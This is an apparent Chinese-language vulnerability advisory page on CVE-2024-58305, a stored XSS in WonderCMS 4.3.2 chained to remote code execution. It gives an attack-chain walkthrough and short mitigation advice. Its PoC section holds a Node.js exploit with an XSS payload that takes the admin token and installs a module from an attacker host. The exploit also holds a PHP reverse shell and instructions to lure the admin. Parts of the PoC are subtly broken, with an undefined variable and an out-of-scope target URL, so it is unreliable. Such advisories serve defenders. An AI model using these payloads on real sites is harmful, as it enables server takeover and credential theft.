IPBUF安全漏洞报告
English
CVE-2024-58305 CVSS 8.8 高危

CVE-2024-58305 WonderCMS 4.3.2 XSS到RCE远程代码执行漏洞

披露日期: 2025-12-12

漏洞信息

漏洞编号
CVE-2024-58305
漏洞类型
XSS + 远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WonderCMS 4.3.2

相关标签

CVE-2024-58305WonderCMSXSS存储型XSS远程代码执行RCE模块安装反向shell跨站脚本Web安全

漏洞概述

CVE-2024-58305是WonderCMS 4.3.2版本中的一个高危安全漏洞,CVSS评分达到8.8分。该漏洞属于存储型跨站脚本(XSS)漏洞,攻击者可以通过模块安装端点注入恶意JavaScript代码。攻击者精心构造一个XSS payload,诱骗已认证的管理员访问恶意链接,从而在管理员不知情的情况下安装包含反向shell的恶意模块。一旦恶意模块被激活,攻击者即可在目标服务器上执行任意远程命令,完全控制受害系统。该漏洞需要攻击者具备低权限用户身份,但无需用户交互即可完成攻击,机密性、完整性和可用性均受到严重影响。

技术细节

该漏洞存在于WonderCMS的模块安装功能中。攻击者首先构造一个包含恶意JavaScript代码的XSS payload,通过模块安装端点将该payload注入到系统中。由于WonderCMS在处理模块名称或描述时未对用户输入进行充分的HTML转义和过滤,导致恶意脚本被存储在数据库中。当管理员访问管理后台或触发相关功能时,恶意JavaScript代码会在管理员的浏览器上下文中执行。攻击者利用此机会通过JavaScript代码调用模块安装API,下载并安装一个包含反向shell的恶意模块。反向shell模块被激活后,会在服务器上打开一个shell连接,攻击者通过该连接可以执行任意系统命令,实现远程代码执行。整个攻击过程利用了XSS漏洞作为跳板,绕过了CSRF令牌等防护机制。

攻击链分析

STEP 1
步骤1
攻击者构造包含恶意JavaScript代码的XSS payload,利用模块安装端点的输入验证不足注入payload
STEP 2
步骤2
攻击者将payload通过社工方式发送给目标网站的管理员,诱骗其访问包含恶意代码的链接
STEP 3
步骤3
管理员访问恶意链接后,XSS payload在管理员浏览器中执行,利用管理员权限调用模块安装API
STEP 4
步骤4
恶意模块(包含反向shell)被下载并安装到WonderCMS系统中
STEP 5
步骤5
管理员激活或访问恶意模块时,反向shell被触发,向攻击者控制的服务器建立连接
STEP 6
步骤6
攻击者通过反向shell获得服务器的命令执行权限,实现远程代码执行和系统完全控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2024-58305 PoC - WonderCMS XSS to RCE via Module Installation // Author: Vulnerability Researcher // Target: WonderCMS 4.3.2 const axios = require('axios'); // XSS Payload to steal admin session and install malicious module const xssPayload = ` <script> // Steal admin session token const token = document.querySelector('[name="token"]')?.value || document.cookie.match(/token=([^;]+)/)?.[1]; // Malicious module installation request fetch('/index.php?installModule', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest' }, body: new URLSearchParams({ 'url': 'http://attacker.com/malicious-module.zip', 'token': token }) }); </script> `; // Step 1: Inject XSS payload through module installation endpoint async function injectXSS(targetUrl, attackerServer) { const injectionPayload = `${xssPayload.replace('attacker.com', attackerServer)}`; await axios.post(`${targetUrl}/index.php`, { moduleName: injectionPayload, description: 'Malicious module description' }); } // Step 2: Create malicious module with reverse shell function createMaliciousModule(attackerIP, attackerPort) { return `<?php // Reverse shell payload $ip = '${attackerIP}'; $port = ${attackerPort}; $sock = fsockopen($ip, $port); exec("/bin/sh -i <&3 >&3 2>&3"); ?>`; } // Step 3: Social engineer admin to visit malicious URL console.log('[+] Send this link to admin:'); console.log(`${targetUrl}/index.php?page=modules&install=${encodedPayload}`); console.log('[+] Start listener on attacker server before sending link'); module.exports = { injectXSS, createMaliciousModule };

影响范围

WonderCMS < 4.3.2 (可能受影响)
WonderCMS = 4.3.2 (确认受影响)

防御指南

临时缓解措施
立即将WonderCMS升级到官方发布的安全更新版本。在升级前,可以临时禁用模块安装功能或限制其访问权限,同时加强对管理员账户的安全防护,使用强密码和双因素认证。建议在Web应用防火墙(WAF)上配置规则过滤包含script标签的可疑请求,并启用日志监控以便及时发现异常行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表